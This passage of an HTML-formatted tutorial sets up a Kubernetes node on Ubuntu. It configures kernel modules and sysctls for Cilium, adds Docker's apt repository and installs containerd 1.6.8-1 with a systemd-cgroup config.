style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/modules-load.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003eoverlay\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/sysctl.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.bridge.bridge-nf-call-iptables  = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.ipv4.ip_forward                 = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe also need to disable some default systemd settings for \u003ccode\u003erp_filter\u003c/code\u003e  because\nthey are not compatible with cilium. See the bug report\n\u003ca href=\"https://github.com/cilium/cilium/commit/cabc6581b8128681f4ed23f8d6dc463180eea61e\"\u003ehere\u003c/a\u003e\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esed\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'/net.ipv4.conf.*.rp_filter/d'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-ril\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e '\\.rp_filter' /etc/sysctl.d/ /usr/lib/sysctl.d/)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esysctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eawk\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'{print $1\" = 0\"}'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/sysctl.d/1000-cilium.conf\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen we need to refresh sysctl so those settings are applied:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erestart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemd-modules-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esysctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--system\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou should see it applying all the changes:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e* Applying /etc/sysctl.d/k8s.conf ...\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.bridge.bridge-nf-call-iptables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.ip_forward = 1\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIf you do not, the netfilter module may not have loaded properly:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elsmod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ebr_netfilter\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e28672\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ebridge\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e176128\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou want to make sure \u003ccode\u003erp_filter\u003c/code\u003e is \u003ccode\u003e0\u003c/code\u003e everywhere as well for cilium:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e❯ sudo sysctl -a | grep '\\.rp_filter'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.all.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.cilium_host.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.cilium_net.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.cilium_vxlan.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.default.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.enp0s1.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.lo.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.lxc0965b7b545f7.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.lxcb05ffd84ab74.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow lets pull down the container runtime we’ll be using which is containerd.\u003c/p\u003e\n\u003cp\u003eUbuntu ships with a very old version of containerd so you need to upgrade to\nthe version shipped from the docker repos:\nYou can find which versions are available by running:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://download.docker.com/linux/ubuntu/gpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/docker.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb https://download.docker.com/linux/ubuntu $(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003elsb_release\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-cs\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e) stable\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/docker.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-cache\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emadison\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.io\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.6.8-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.6.7-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.6.6-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.6.4-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.5.11-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.5.10-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe are going to use the latest version available which was 1.6.8-1\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.io=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.6\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.8-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen we'll setup a configuration that enables containerd to use the systemd\ncgroup.  We are hard coding this config instead of using \u003ccode\u003econtainerd config default\u003c/code\u003e\nbecause that currently has had a \u003ca href=\"https://github.com/containerd/containerd/issues/4574\"\u003ebug\u003c/a\u003e\nfor many years that generates an invalid config.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/containerd/config.toml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion = 2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e[plugins]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e  [plugins.\"io.containerd.grpc.v1.cri\"]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e   [plugins.\"io.containerd.grpc.v1.cri\".containerd]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e      [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e        [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan 